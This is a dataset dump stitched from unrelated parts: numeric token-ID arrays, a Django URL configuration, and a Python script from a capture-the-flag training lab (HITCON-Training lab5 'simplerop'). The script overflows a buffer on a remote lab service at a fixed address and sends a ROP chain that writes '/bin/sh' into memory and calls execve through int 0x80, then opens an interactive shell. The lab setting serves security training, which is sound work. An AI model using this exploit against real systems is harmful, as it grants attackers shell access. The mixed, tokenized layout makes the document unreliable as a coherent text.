8125, 1881, 1818, 505, 29871, 29941, 3964, 29879, 29892, 2845, 5868, 29956, 470, 379, 29956, 29907, 13, 1678, 565, 7431, 29898, 2080, 29889, 6229, 29879, 29897, 2804, 29871, 29941, 29901, 13, 4706, 12020, 8960, 703, 17854, 292, 1881, 304, 505, 29871, 29941, 13391, 29892, 1904, 18793, 718, 13, 462, 4706, 1904, 29918, 978, 718, 13577, 1881, 756, 376, 3532, 7431, 29898, 2080, 29889, 6229, 29879, 876, 13, 13, 1678, 565, 5135, 2080, 29889, 4830, 2804, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 3195, 4290, 29889, 19094, 1299, 29918, 29940, 3210, 29956, 29897, 322, 13, 4706, 313, 2080, 29889, 4830, 2804, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 3195, 4290, 29889, 19094, 1299, 29918, 29940, 29950, 29956, 29907, 22164, 13, 4706, 12020, 8960, 703, 348, 9684, 1881, 3402, 376, 718, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 3195, 4290, 29889, 5809, 29889, 1170, 29898, 2080, 29889, 4830, 29897, 718, 13, 462, 4706, 9162, 16120, 376, 718, 13, 462, 4706, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 3195, 4290, 29889, 5809, 29889, 1170, 29898, 4299, 29918, 2917, 29918, 24381, 29906, 29889, 3195, 4290, 29889, 19094, 1299, 29918, 29940, 3210, 29956, 29897, 718, 13, 462, 4706, 376, 470, 376, 718, 13, 462, 4706, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 3195, 4290, 29889, 5809, 29889, 1170, 29898, 4299, 29918, 2917, 29918, 24381, 29906, 29889, 3195, 4290, 29889, 19094, 1299, 29918, 29940, 29950, 29956, 29907, 876, 13, 13, 1678, 565, 1881, 29889, 4830, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 3195, 4290, 29889, 19094, 1299, 29918, 29940, 29950, 29956, 29907, 29901, 13, 4706, 298, 353, 1881, 29889, 6229, 29879, 29961, 29900, 29962, 13, 4706, 281, 353, 1881, 29889, 6229, 29879, 29961, 29896, 29962, 13, 4706, 274, 353, 1881, 29889, 6229, 29879, 29961, 29906, 29962, 13, 1678, 1683, 29901, 13, 4706, 274, 353, 1881, 29889, 6229, 29879, 29961, 29900, 29962, 13, 4706, 298, 353, 1881, 29889, 6229, 29879, 29961, 29896, 29962, 13, 4706, 281, 353, 1881, 29889, 6229, 29879, 29961, 29906, 29962, 13, 13, 1678, 1962, 29918, 2311, 353, 29871, 29896, 13, 1678, 363, 3964, 297, 1962, 29889, 6229, 29879, 29901, 13, 4706, 1962, 29918, 2311, 353, 1962, 29918, 2311, 334, 3964, 13, 1678, 1962, 29918, 2311, 353, 1962, 29918, 2311, 334, 7442, 29889, 29881, 1853, 29898, 4299, 29918, 29881, 1853, 29918, 517, 29918, 9302, 29898, 4905, 29889, 1272, 29918, 1853, 8106, 667, 2311, 13, 13, 1678, 736, 313, 2080, 29889, 978, 29892, 1962, 29889, 978, 29892, 274, 29892, 298, 29892, 281, 29892, 1881, 29889, 4830, 29892, 1904, 29918, 29881, 1853, 29918, 517, 29918, 9302, 29898, 2080, 29889, 1272, 29918, 1853, 511, 1962, 29918, 2311, 29897, 13, 13, 1753, 758, 5014, 29898, 2492, 29892, 3402, 29892, 26688, 29892, 274, 29892, 298, 29892, 281, 29892, 21640, 1125, 13, 1678, 9995, 13, 1678, 4721, 29899, 5014, 385, 1967, 304, 5870, 278, 2159, 29892, 1134, 322, 3402, 13, 1678, 11780, 6790, 491, 278, 4128, 29889, 13, 1678, 9995, 13, 1678, 396, 9302, 29889, 842, 29918, 558, 8941, 1980, 29898, 386, 12268, 2433, 13707, 1495, 13, 13, 1678, 565, 274, 1275, 29871, 29896, 29901, 13, 4706, 4559, 29918, 2492, 353, 10153, 29889, 13441, 877, 29931, 1495, 13, 1678, 1683, 29901, 13, 4706, 4559, 29918, 2492, 353, 10153, 29889, 13441, 877, 28212, 1495, 13, 13, 1678, 620, 1891, 29918, 2492, 353, 4559, 29918, 2492, 29889, 21476, 3552, 29882, 29892, 281, 511, 7084, 29889, 29933, 6227, 8895, 1718, 29897, 13, 1678, 620, 1891, 353, 7442, 29889, 2378, 29898, 690, 1891, 29918, 2492, 29897, 13, 1678, 565, 620, 1891, 29889, 299, 326, 1275, 29871, 29906, 29901, 13, 4706, 620, 1891, 353, 620, 1891, 7503, 29892, 29901, 29892, 9302, 29889, 1482, 8990, 29962, 13, 13, 1678, 13033, 353, 620, 1891, 29889, 579, 668, 29898, 29881, 1853, 29897, 13, 13, 1678, 565, 21640, 1275, 525, 1177, 4741, 7982, 2725, 2396, 13, 4706, 6287, 29881, 353, 313, 1017, 9795, 847, 29871, 29896, 29906, 29947, 29897, 448, 29871, 29896, 13, 1678, 25342, 21640, 1275, 525, 29963, 26788, 2396, 13, 4706, 565, 274, 1275, 29871, 29896, 29901, 13, 9651, 6287, 29881, 353, 13033, 448, 7442, 29889, 294, 2378, 3552, 29896, 29906, 29947, 29892, 511, 26688, 29922, 29881, 1853, 29897, 13, 4706, 1683, 29901, 13, 9651, 6287, 29881, 353, 13033, 448, 7442, 29889, 294, 2378, 3552, 29896, 29906, 29941, 29892, 29871, 29896, 29896, 29955, 29892, 29871, 29896, 29900, 29946, 511, 26688, 29922, 29881, 1853, 29897, 13, 1678, 1683, 29901, 13, 4706, 6287, 29881, 353, 13033, 13, 13, 1678, 396, 3925, 481, 304, 5868, 29956, 565, 5181, 13, 1678, 565, 3402, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 3195, 4290, 29889, 19094, 1299, 29918, 29940, 3210, 29956, 29901, 13, 4706, 10372, 353, 7442, 29889, 3286, 4220, 29898, 7052, 29881, 29892, 313, 29906, 29892, 29871, 29900, 29892, 29871, 29896, 876, 13, 1678, 1683, 29901, 13, 4706, 10372, 353, 6287, 29881, 13, 13, 1678, 396, 678, 12629, 526, 297, 390, 7210, 1797, 29889, 15447, 1904, 5285, 848, 13, 1678, 396, 1838, 29915, 29873, 3867, 738, 2472, 408, 304, 916, 8242, 1797, 886, 13, 1678, 396, 313, 4561, 350, 14345, 29897, 577, 591, 925, 5251, 390, 7210, 29889, 13, 1678, 736, 10372, 13, 13, 1753, 1400, 5014, 29898, 9902, 29892, 2066, 29892, 22645, 29892, 9853, 29918, 2311, 29892, 954, 29918, 13203, 29892, 26952, 29922, 8824, 1125, 13, 1678, 9995, 13, 1678, 4918, 29899, 5014, 2582, 304, 1510, 770, 8232, 29889, 13, 1678, 9995, 13, 1678, 1510, 29918, 497, 353, 26952, 470, 5135, 16175, 29918, 2311, 1275, 29871, 29896, 29897, 322, 313, 1949, 29918, 13203, 1405, 29871, 29896, 876, 13, 1678, 565, 1510, 29918, 497, 29901, 13, 4706, 565, 22645, 1275, 29871, 29900, 29901, 13, 9651, 1596, 703, 6466, 2070, 11614, 29901, 1159, 13, 4706, 1596, 703, 16175, 426, 6177, 1642, 4830, 29898, 13140, 876, 13, 13, 1678, 565, 7431, 29898, 9902, 29897, 2804, 29871, 29896, 29901, 13, 4706, 12020, 8960, 703, 9684, 29871, 29896, 1121, 29892, 2355, 376, 718, 851, 29898, 2435, 29898, 9902, 4961, 13, 13, 1678, 9853, 287, 29918, 2914, 353, 2582, 29961, 29900, 1822, 16175, 29918, 13203, 13, 1678, 565, 7431, 29898, 16175, 287, 29918, 2914, 29897, 2804, 9853, 29918, 2311, 29901, 13, 4706, 12020, 8960, 703, 9684, 376, 718, 851, 29898, 16175, 29918, 2311, 29897, 718, 13, 9651, 376, 2582, 29892, 2355, 376, 718, 851, 29898, 2435, 29898, 16175, 287, 29918, 2914, 4961, 13, 13, 1678, 396, 1152, 1269, 1121, 297, 278, 9853, 2302, 278, 2246, 18988, 29889, 4001, 591, 13, 1678, 396, 1304, 278, 1021, 1967, 363, 1432, 6251, 297, 278, 9853, 591, 2149, 278, 13, 1678, 396, 2246, 18988, 304, 367, 278, 1021, 363, 1269, 6251, 856, 541, 445, 775, 13, 1678, 396, 1838, 29915, 29873, 5251, 393, 29889, 13, 1678, 18139, 353, 9657, 580, 13, 1678, 27303, 353, 9657, 580, 13, 1678, 363, 313, 2248, 29892, 1121, 29897, 297, 26985, 29898, 16175, 287, 29918, 2914, 1125, 13, 4706, 3858, 353, 1121, 29889, 25932, 29961, 29900, 1822, 1643, 13, 4706, 565, 3858, 451, 297, 18139, 29901, 13, 9651, 18139, 29961, 1643, 29962, 353, 29871, 29900, 13, 13, 4706, 18139, 29961, 1643, 29962, 4619, 29871, 29896, 13, 4706, 27303, 29961, 1643, 29962, 353, 1121, 29889, 25932, 29961, 29900, 29962, 13, 13, 4706, 396, 960, 13877, 29892, 1596, 599, 278, 770, 2582, 363, 278, 6251, 13, 4706, 565, 1510, 29918, 497, 29901, 13, 9651, 565, 313, 2248, 6736, 7431, 29898, 5325, 22164, 13, 18884, 2380, 353, 7431, 29898, 5325, 29897, 448, 29871, 29896, 13, 9651, 396, 7488, 29871, 29896, 29892, 1596, 11071, 368, 13, 9651, 565, 7431, 29898, 2914, 29889, 25932, 29897, 1275, 29871, 29896, 29901, 13, 18884, 1596, 703, 2940, 525, 8875, 2396, 6571, 21313, 1800, 353, 6571, 1642, 4830, 29898, 13, 462, 1678, 2066, 29961, 2248, 1402, 1121, 29889, 25932, 29961, 29900, 1822, 13140, 29892, 13, 462, 1678, 1121, 29889, 25932, 29961, 29900, 1822, 1643, 29892, 1121, 29889, 25932, 29961, 29900, 1822, 1767, 876, 13, 9651, 1683, 29901, 13, 18884, 1596, 703, 2940, 525, 8875, 2396, 1642, 4830, 29898, 5325, 29961, 2248, 12622, 13, 18884, 363, 1067, 29879, 297, 1121, 29889, 25932, 29901, 13, 462, 1678, 1596, 703, 1678, 6571, 21313, 1800, 353, 6571, 1642, 4830, 29898, 25932, 29889, 13140, 29892, 1067, 29879, 29889, 1643, 29892, 1067, 29879, 29889, 1767, 876, 13, 13, 1678, 396, 6991, 5219, 13, 1678, 1596, 703, 23084, 2463, 2025, 1338, 29901, 1159, 13, 1678, 363, 313, 1643, 29892, 274, 593, 29897, 297, 18139, 29889, 7076, 7295, 13, 4706, 1067, 29879, 353, 27303, 29961, 1643, 29962, 13, 4706, 1596, 14182, 14246, 593, 3790, 1012, 29873, 3319, 1800, 6571, 1642, 4830, 29898, 20047, 29892, 1067, 29879, 29889, 13140, 29892, 1067, 29879, 29889, 1643, 876, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 580, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29894, 742, 525, 489, 369, 15828, 742, 3158, 543, 8899, 29918, 3009, 613, 3734, 29922, 8824, 29892, 2322, 29922, 8824, 29892, 13, 462, 4706, 1371, 2433, 20701, 26952, 1962, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29885, 742, 525, 489, 4299, 29899, 978, 742, 1134, 29922, 710, 29892, 3734, 29922, 5574, 29892, 13, 462, 4706, 1371, 2433, 1170, 310, 1904, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29916, 742, 525, 489, 4299, 29899, 3259, 742, 1134, 29922, 710, 29892, 3734, 29922, 8824, 29892, 13, 462, 4706, 1371, 2433, 6594, 310, 1904, 29889, 13109, 338, 304, 671, 9281, 1873, 29889, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29890, 742, 525, 489, 16175, 29899, 2311, 742, 1134, 29922, 524, 29892, 3734, 29922, 8824, 29892, 2322, 29922, 29896, 29892, 13, 462, 4706, 1371, 2433, 23145, 2159, 29889, 13109, 338, 29871, 29896, 29889, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29883, 742, 525, 489, 13203, 742, 1134, 29922, 524, 29892, 3734, 29922, 8824, 29892, 2322, 29922, 29896, 29892, 13, 462, 4706, 1371, 2433, 4557, 310, 770, 2582, 304, 3461, 29889, 13109, 338, 29871, 29896, 29889, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29879, 742, 525, 489, 19529, 292, 742, 1134, 29922, 710, 29892, 19995, 29922, 1839, 29940, 12413, 742, 525, 1177, 4741, 7982, 2725, 742, 525, 29963, 26788, 7464, 13, 462, 4706, 3734, 29922, 8824, 29892, 2322, 2433, 29940, 12413, 742, 13, 462, 4706, 1371, 2433, 1542, 310, 21640, 304, 3394, 304, 1967, 17036, 29889, 13109, 338, 405, 12413, 29889, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29884, 742, 525, 489, 2271, 742, 1134, 29922, 710, 29892, 3734, 29922, 8824, 29892, 2322, 2433, 7640, 29901, 29947, 29900, 29900, 29896, 742, 13, 462, 4706, 1371, 2433, 797, 1659, 1923, 3988, 29889, 13109, 338, 15683, 29901, 29947, 29900, 29900, 29896, 29889, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29886, 742, 525, 489, 1457, 5014, 287, 742, 1134, 29922, 710, 29892, 3734, 29922, 8824, 29892, 13, 462, 4706, 1539, 485, 279, 2433, 7724, 742, 1371, 2433, 6113, 758, 5014, 287, 1967, 304, 6790, 934, 29889, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 2914, 29899, 978, 742, 1134, 29922, 710, 29892, 3734, 29922, 8824, 29892, 13, 462, 4706, 1371, 2433, 2605, 304, 610, 12621, 934, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 3027, 29918, 9507, 742, 1134, 29922, 710, 29892, 302, 5085, 2433, 29973, 742, 2322, 29922, 8516, 29892, 13, 462, 4706, 1371, 2433, 4290, 1967, 29889, 1495, 13, 268, 13, 1678, 383, 4375, 10749, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 13, 1678, 396, 6204, 330, 29934, 9026, 19281, 363, 7212, 1218, 411, 278, 1923, 13, 1678, 8242, 353, 867, 6739, 29889, 262, 24216, 29918, 12719, 29898, 18823, 10749, 29889, 2271, 29897, 13, 1678, 867, 6739, 29918, 303, 431, 353, 867, 6739, 29918, 5509, 29918, 24381, 29906, 29918, 629, 6739, 29889, 14345, 9026, 3170, 855, 431, 29898, 12719, 29897, 13, 13, 1678, 396, 349, 3445, 598, 2009, 363, 16034, 330, 29934, 9026, 13, 1678, 2009, 353, 867, 6739, 29918, 5509, 29918, 24381, 29906, 29889, 5709, 3089, 29898, 4299, 29918, 978, 29922, 18823, 10749, 29889, 4299, 29918, 978, 29897, 13, 1678, 396, 8251, 322, 7150, 2933, 515, 16034, 330, 29934, 9026, 13, 1678, 2933, 353, 867, 6739, 29918, 303, 431, 29889, 5709, 29898, 3827, 29897, 13, 1678, 396, 8561, 1854, 278, 1904, 7087, 1749, 11780, 29892, 322, 679, 777, 13, 1678, 396, 4426, 310, 278, 1904, 393, 591, 817, 363, 758, 19170, 13, 1678, 1881, 29918, 978, 29892, 1962, 29918, 978, 29892, 274, 29892, 298, 29892, 281, 29892, 3402, 29892, 26688, 29892, 1962, 29918, 2311, 353, 6088, 29918, 4299, 29898, 13, 4706, 2933, 29892, 383, 4375, 10749, 29889, 4299, 29918, 978, 29892, 383, 4375, 10749, 29889, 16175, 29918, 2311, 29892, 383, 4375, 10749, 29889, 369, 15828, 29897, 13, 13, 1678, 396, 349, 3445, 598, 2009, 363, 512, 571, 330, 29934, 9026, 13, 1678, 396, 450, 12700, 848, 760, 508, 367, 337, 3880, 4822, 7274, 13, 1678, 2009, 353, 867, 6739, 29918, 5509, 29918, 24381, 29906, 29889, 797, 571, 3089, 580, 13, 1678, 2009, 29889, 4299, 29918, 978, 353, 383, 4375, 10749, 29889, 4299, 29918, 978, 13, 1678, 565, 383, 4375, 10749, 29889, 4299, 29918, 3259, 338, 6213, 29901, 13, 4706, 383, 4375, 10749, 29889, 4299, 29918, 3259, 353, 5124, 396, 773, 1833, 342, 1873, 13, 1678, 2009, 29889, 3259, 353, 383, 4375, 10749, 29889, 4299, 29918, 3259, 13, 1678, 2009, 29889, 7299, 29918, 1272, 29889, 16175, 29918, 2311, 353, 383, 4375, 10749, 29889, 16175, 29918, 2311, 13, 1678, 1962, 29918, 4906, 353, 7882, 29918, 24381, 29906, 29889, 797, 571, 3089, 7850, 29889, 6466, 580, 13, 1678, 1962, 29918, 4906, 29889, 978, 353, 1962, 29918, 978, 13, 1678, 1962, 29918, 4906, 29889, 10389, 29918, 2311, 353, 1962, 29918, 2311, 13, 1678, 1962, 29918, 4906, 29889, 25932, 29889, 2798, 353, 383, 4375, 10749, 29889, 13203, 13, 1678, 2009, 29889, 7299, 29918, 1272, 29889, 4905, 29889, 21843, 4197, 4905, 29918, 4906, 2314, 13, 13, 1678, 2999, 29918, 2080, 29879, 353, 7700, 13, 1678, 9853, 287, 29918, 1777, 264, 1280, 353, 5159, 13, 1678, 20890, 353, 5159, 13, 1678, 565, 2897, 29889, 2084, 29889, 275, 3972, 29898, 18823, 10749, 29889, 3027, 29918, 9507, 1125, 13, 4706, 2066, 353, 518, 29888, 363, 285, 297, 2897, 29889, 1761, 3972, 29898, 18823, 10749, 29889, 3027, 29918, 9507, 29897, 13, 9651, 565, 2897, 29889, 2084, 29889, 275, 1445, 29898, 359, 29889, 2084, 29889, 7122, 29898, 18823, 10749, 29889, 3027, 29918, 9507, 29892, 285, 28166, 13, 4706, 2999, 29918, 2080, 29879, 353, 313, 2435, 29898, 5325, 29897, 1405, 29871, 29896, 29897, 13, 13, 4706, 1881, 29918, 13193, 353, 6213, 13, 4706, 7274, 353, 5159, 13, 4706, 977, 264, 1280, 353, 5159, 13, 4706, 396, 15484, 1432, 525, 16175, 29918, 2311, 29915, 1353, 310, 4558, 964, 697, 2009, 13, 4706, 396, 322, 3638, 372, 3025, 20688, 6558, 580, 3450, 29889, 960, 278, 1833, 2009, 1838, 29915, 29873, 505, 13, 4706, 396, 525, 16175, 29918, 2311, 29915, 1881, 25187, 943, 29892, 17132, 372, 411, 278, 1833, 1881, 12489, 29889, 13, 4706, 274, 593, 353, 29871, 29900, 13, 4706, 363, 22645, 297, 3464, 29898, 2435, 29898, 5325, 22164, 13, 9651, 977, 264, 1280, 29889, 4397, 29898, 5325, 29961, 13140, 2314, 13, 13, 9651, 10153, 353, 7084, 29889, 3150, 29898, 359, 29889, 2084, 29889, 7122, 29898, 18823, 10749, 29889, 3027, 29918, 9507, 29892, 2066, 29961, 13140, 12622, 13, 9651, 1881, 29918, 20158, 353, 758, 5014, 29898, 2492, 29892, 3402, 29892, 26688, 29892, 274, 29892, 298, 29892, 281, 29892, 383, 4375, 10749, 29889, 19529, 292, 29897, 13, 9651, 396, 910, 1746, 508, 451, 367, 731, 2745, 1881, 12489, 338, 7625, 13, 9651, 565, 7431, 29898, 3827, 29889, 7299, 29918, 1272, 29889, 2080, 29897, 1275, 29871, 29900, 29901, 13, 18884, 2009, 29889, 7299, 29918, 1272, 29889, 2080, 29889, 1202, 29898, 13, 462, 1678, 1024, 29922, 2080, 29918, 978, 29892, 7023, 29918, 2311, 29922, 2080, 29918, 20158, 29889, 2311, 334, 1881, 29918, 20158, 29889, 667, 2311, 29897, 13, 9651, 565, 1881, 29918, 13193, 338, 6213, 29901, 13, 18884, 1881, 29918, 13193, 353, 1881, 29918, 20158, 29889, 517, 13193, 580, 13, 9651, 1683, 29901, 13, 18884, 1881, 29918, 13193, 4619, 1881, 29918, 20158, 29889, 517, 13193, 580, 13, 9651, 274, 593, 4619, 29871, 29896, 13, 9651, 565, 313, 13140, 718, 29871, 29896, 1275, 7431, 29898, 5325, 22164, 13, 18884, 1550, 313, 20047, 2804, 383, 4375, 10749, 29889, 16175, 29918, 2311, 1125, 13, 462, 1678, 1881, 29918, 13193, 4619, 1881, 29918, 20158, 29889, 517, 13193, 580, 13, 462, 1678, 274, 593, 4619, 29871, 29896, 13, 9651, 396, 15076, 278, 2009, 322, 10092, 1881, 29918, 29873, 575, 943, 13, 9651, 565, 274, 593, 6736, 383, 4375, 10749, 29889, 16175, 29918, 2311, 29901, 13, 18884, 628, 2009, 29889, 1610, 29918, 2080, 7503, 29962, 13, 18884, 2009, 29889, 1610, 29918, 2080, 29889, 21843, 4197, 2080, 29918, 13193, 2314, 13, 18884, 396, 8251, 322, 7150, 5434, 2933, 515, 7465, 512, 571, 330, 29934, 9026, 13, 18884, 7274, 29889, 4397, 29898, 629, 6739, 29918, 303, 431, 29889, 797, 571, 29889, 29888, 9130, 29898, 3827, 876, 13, 18884, 1881, 29918, 13193, 353, 6213, 13, 18884, 274, 593, 353, 29871, 29900, 13, 18884, 9853, 287, 29918, 1777, 264, 1280, 29889, 4397, 29898, 1777, 264, 1280, 29897, 13, 18884, 977, 264, 1280, 353, 5159, 13, 4706, 396, 3617, 2582, 491, 3638, 1797, 13, 4706, 363, 2009, 297, 7274, 29901, 13, 9651, 20890, 29889, 4397, 29898, 3827, 29889, 2914, 3101, 13, 1678, 1683, 29901, 13, 4706, 9853, 287, 29918, 1777, 264, 1280, 29889, 4397, 4197, 18823, 10749, 29889, 3027, 29918, 9507, 2314, 13, 4706, 396, 16012, 322, 758, 5014, 278, 1967, 13, 4706, 10153, 353, 7084, 29889, 3150, 29898, 18823, 10749, 29889, 3027, 29918, 9507, 29897, 13, 4706, 1881, 29918, 20158, 353, 758, 5014, 29898, 2492, 29892, 3402, 29892, 26688, 29892, 274, 29892, 298, 29892, 281, 29892, 383, 4375, 10749, 29889, 19529, 292, 29897, 13, 4706, 2009, 29889, 7299, 29918, 1272, 29889, 2080, 29889, 1202, 29898, 13, 9651, 1024, 29922, 2080, 29918, 978, 29892, 7023, 29918, 2311, 29922, 2080, 29918, 20158, 29889, 2311, 334, 1881, 29918, 20158, 29889, 667, 2311, 29897, 13, 13, 4706, 565, 383, 4375, 10749, 29889, 1457, 5014, 287, 338, 451, 6213, 29901, 13, 9651, 411, 1722, 29898, 1457, 5014, 287, 29892, 376, 29893, 1159, 408, 934, 29901, 13, 18884, 934, 29889, 3539, 29898, 2080, 29918, 20158, 29889, 517, 13193, 3101, 13, 13, 4706, 396, 20768, 525, 16175, 29918, 2311, 29915, 14591, 310, 278, 1881, 12489, 856, 13, 4706, 1881, 29918, 13193, 353, 1881, 29918, 20158, 29889, 517, 13193, 580, 13, 4706, 363, 289, 297, 3464, 29898, 18823, 10749, 29889, 16175, 29918, 2311, 29899, 29896, 1125, 13, 9651, 1881, 29918, 13193, 4619, 1881, 29918, 20158, 29889, 517, 13193, 580, 13, 4706, 2009, 29889, 1610, 29918, 2080, 29889, 21843, 4197, 2080, 29918, 13193, 2314, 13, 13, 4706, 396, 8251, 322, 7150, 2933, 515, 512, 571, 330, 29934, 9026, 13, 4706, 1411, 800, 353, 5159, 13, 4706, 363, 903, 297, 3464, 29898, 29906, 29900, 29900, 29900, 1125, 13, 9651, 1369, 353, 931, 29889, 546, 29888, 29918, 11808, 580, 13, 9651, 20890, 29889, 4397, 29898, 629, 6739, 29918, 303, 431, 29889, 797, 571, 29898, 3827, 876, 13, 9651, 1095, 353, 931, 29889, 546, 29888, 29918, 11808, 580, 13, 9651, 14385, 29918, 1516, 353, 313, 355, 448, 1369, 29897, 334, 29871, 29896, 29900, 29900, 29900, 13, 9651, 1411, 800, 29889, 4397, 29898, 19708, 29918, 1516, 29897, 13, 9651, 20890, 29889, 4397, 29898, 629, 6739, 29918, 303, 431, 29889, 797, 571, 29898, 3827, 876, 13, 965, 396, 1596, 29898, 26679, 267, 29961, 29900, 1822, 3827, 29918, 4882, 29897, 13, 308, 13, 4706, 396, 16913, 3630, 13, 4706, 4489, 353, 10518, 29889, 17271, 3319, 29908, 19708, 29918, 1516, 1115, 1411, 800, 1800, 13, 4706, 4489, 29889, 517, 29918, 862, 12621, 877, 29896, 29900, 29889, 29886, 29939, 1495, 13, 4706, 2099, 29892, 282, 29929, 29929, 353, 4489, 3366, 19708, 29918, 1516, 16862, 12676, 3285, 7442, 29889, 25376, 488, 29898, 29881, 332, 800, 29892, 29871, 29929, 29929, 29897, 13, 4706, 903, 1188, 29898, 29888, 29908, 6816, 273, 365, 2579, 1270, 29901, 426, 12676, 1118, 349, 29929, 29929, 29901, 426, 29886, 29929, 29929, 27195, 13, 13, 1678, 396, 14402, 29901, 10318, 1400, 5014, 13, 1678, 396, 1454, 22645, 297, 3464, 29898, 2435, 29898, 26679, 267, 22164, 13, 1678, 396, 1678, 1400, 5014, 29898, 26679, 267, 29961, 13140, 1822, 7299, 29918, 1272, 29889, 4905, 29892, 9853, 287, 29918, 1777, 264, 1280, 29961, 13140, 1402, 13, 1678, 396, 4706, 22645, 29892, 383, 4375, 10749, 29889, 16175, 29918, 2311, 29892, 383, 4375, 10749, 29889, 13203, 29892, 13, 1678, 396, 4706, 383, 4375, 10749, 29889, 369, 15828, 470, 2999, 29918, 2080, 29879, 29897, 13, 2 ]
HITCON-Training/LAB/lab5/simplerop.py
kernweak/HITCON-Training-writeup
30
101802
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwnpwnpwn import * from pwn import * host = "10.211.55.28" port = 8888 r = remote(host,port) gadget = 0x809a15d # mov dword ptr [edx], eax ; ret pop_eax_ret = 0x80bae06 pop_edx_ret = 0x806e82a pop_edx_ecx_ebx = 0x0806e850 pop_eax_ret = 0x080bae06 buf = 0x80ea060 int_80 = 0x80493e1 #write to memory payload = "a"*32 payload += p32(pop_edx_ret) payload += p32(buf) payload += p32(pop_eax_ret) payload += "/bin" payload += p32(gadget) payload += p32(pop_edx_ret) payload += p32(buf+4) payload += p32(pop_eax_ret) payload += "/sh\x00" payload += p32(gadget) #write to register payload += p32(pop_edx_ecx_ebx) payload += p32(0) payload += p32(0) payload += p32(buf) payload += p32(pop_eax_ret) payload += p32(0xb) payload += p32(int_80) print len(payload) r.recvuntil(":") r.sendline(payload) r.interactive()
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 3166, 282, 1233, 29886, 1233, 29886, 1233, 1053, 334, 13, 3166, 282, 1233, 1053, 334, 13, 13, 3069, 353, 376, 29896, 29900, 29889, 29906, 29896, 29896, 29889, 29945, 29945, 29889, 29906, 29947, 29908, 13, 637, 353, 29871, 29947, 29947, 29947, 29947, 13, 13, 29878, 353, 7592, 29898, 3069, 29892, 637, 29897, 13, 13, 29887, 328, 657, 353, 29871, 29900, 29916, 29947, 29900, 29929, 29874, 29896, 29945, 29881, 396, 2351, 270, 1742, 23246, 518, 287, 29916, 1402, 321, 1165, 2056, 3240, 13, 7323, 29918, 29872, 1165, 29918, 2267, 353, 29871, 29900, 29916, 29947, 29900, 2291, 29872, 29900, 29953, 13, 7323, 29918, 287, 29916, 29918, 2267, 353, 29871, 29900, 29916, 29947, 29900, 29953, 29872, 29947, 29906, 29874, 13, 7323, 29918, 287, 29916, 29918, 687, 29916, 29918, 774, 29916, 353, 29871, 29900, 29916, 29900, 29947, 29900, 29953, 29872, 29947, 29945, 29900, 13, 7323, 29918, 29872, 1165, 29918, 2267, 353, 29871, 29900, 29916, 29900, 29947, 29900, 2291, 29872, 29900, 29953, 13, 9721, 353, 29871, 29900, 29916, 29947, 29900, 11248, 29900, 29953, 29900, 13, 524, 29918, 29947, 29900, 353, 29871, 29900, 29916, 29947, 29900, 29946, 29929, 29941, 29872, 29896, 13, 13, 29937, 3539, 304, 3370, 13, 23813, 353, 376, 29874, 29908, 29930, 29941, 29906, 13, 23813, 4619, 282, 29941, 29906, 29898, 7323, 29918, 287, 29916, 29918, 2267, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 9721, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 7323, 29918, 29872, 1165, 29918, 2267, 29897, 13, 23813, 4619, 5591, 2109, 29908, 13, 23813, 4619, 282, 29941, 29906, 29898, 29887, 328, 657, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 7323, 29918, 287, 29916, 29918, 2267, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 9721, 29974, 29946, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 7323, 29918, 29872, 1165, 29918, 2267, 29897, 13, 23813, 4619, 5591, 845, 29905, 29916, 29900, 29900, 29908, 13, 23813, 4619, 282, 29941, 29906, 29898, 29887, 328, 657, 29897, 13, 13, 29937, 3539, 304, 6036, 13, 23813, 4619, 282, 29941, 29906, 29898, 7323, 29918, 287, 29916, 29918, 687, 29916, 29918, 774, 29916, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 29900, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 29900, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 9721, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 7323, 29918, 29872, 1165, 29918, 2267, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 29900, 29916, 29890, 29897, 13, 23813, 4619, 282, 29941, 29906, 29898, 524, 29918, 29947, 29900, 29897, 13, 13, 2158, 7431, 29898, 23813, 29897, 13, 29878, 29889, 3757, 29894, 29305, 703, 29901, 1159, 13, 29878, 29889, 6717, 1220, 29898, 23813, 29897, 13, 13, 29878, 29889, 1639, 4925, 580, 13, 2 ]
eetfestijn/urls.py
thaliawww/eetFestijn
1
113692
from django.conf.urls import include from django.contrib import admin from django.urls import path urlpatterns = [ path('admin/', admin.site.urls), path('wiebetaaltwat/', include('wiebetaaltwat.urls')), path('', include('orders.urls')), ]
